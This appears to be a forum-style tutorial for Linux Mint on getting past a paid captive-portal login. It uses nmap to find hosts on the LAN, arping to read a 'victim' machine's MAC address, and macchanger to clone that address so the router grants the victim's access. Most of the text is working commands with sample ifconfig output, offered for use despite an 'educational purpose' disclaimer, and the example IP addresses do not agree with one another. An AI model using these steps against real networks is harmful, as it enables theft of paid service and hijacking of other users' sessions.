For the notion of tradition I need to say that "all the information for educational purpose".
To make use of that trick, you should able to connect to the LAN but cannot connect to internet since it is waiting to fill a authentication form that is not free to fill(generally, if it is free don't mass your mind).
We follow the process as, first look the LAN for other hosts' IP addresses. Find a good looking IP (luckily connected to internet already.). Then retrieve the MAC address of that IP by using ARP protocol. Set your MAC address to retrieved one. Check whether you can surf. If you can't, try another victim IP.
This method is used in Linux Mint, I've not tried on other OS.
Here are the steps: (If you dont have the package just use "sude apt-get install command_name" to install it) we need ifconfig,arping,nmap,macchanger packages
1. First get the root access : $ sudo -s
2. Look your IP address of your computer by typing on terminal: # ifconfig
(if u r using wireless look for wlan) (I censored my values for the bad guys) eth0 Link encap:Ethernet HWaddr 00:XX:15:3a:XX:93 inet addr:22.214.171.124 Bcast:XXX.XXX.XXX.xXX Mask:255.255.254.0 inet6 addr: ..... UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:339600 errors:0 dropped:0 overruns:0 frame:0 TX packets:216342 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:319788999 (319.7 MB) TX bytes:19148521 (19.1 MB) Interrupt:48 Base address:0xe000
The important value is the bold one (126.96.36.199)for the present and keep in mind the other bold value (00:XX:15:3a:XX:93 ). First is your IP number and second is MAC address. We're using the IP of our machine to see the what is the general schema of the IP numbers in the network we belong to search the defined domain of IP addresses other than brute-force method.
3. Use nmap program to map the LAN. In that way we acquire the IP addresses running on the LAN.
#nmap -sp 179.179.179.*
if you see lots of IP numbers write them to a text file with
#nmap -sp 179.179.179.* > /path/to/file
You will see the list of IP numbers. Choose one of them. Suppose we choose 188.8.131.52
4. Now use arping command. That command uses the ARP protocol to recover MAC addresses form IP addreses of the hosts.
# arping 184.108.40.206 -c 1
-c 1 is the argument that says send one request. You will see a number in format xx:xx:xx:xx:xx:xx. If you cannot get a number like this it means the IP you catched does not belong to LAN you connected. Try another one.
Suppose we get a value like 12:12:12:12:12:12
5. Now change the MAC address of your wlan card or ethernet card relative to your connection. macchanger is the one that makes it.
First down the card.
# ifconfig eth0 down
# macchanger eth0 -m 12:12:12:12:12:12
Up the card again
# ifconfig eth0 up
Look the MAC address of the card
You suppose to see
eth0 Link encap:Ethernet HWaddr 12:12:12:12:12:12 inet addr:220.127.116.11 Bcast:XXX.XXX.XXX.xXX Mask:255.255.254.0 inet6 addr: ..... UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:339600 errors:0 dropped:0 overruns:0 frame:0 TX packets:216342 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:319788999 (319.7 MB) TX bytes:19148521 (19.1 MB) Interrupt:48 Base address:0xe000
6. You are anonomyous on the LAN and the router will presume you the victim's computer. Then try to surf on internet. If you cannot connect to internet, it means the victim was just like you triyng to connect internet. Try another victim.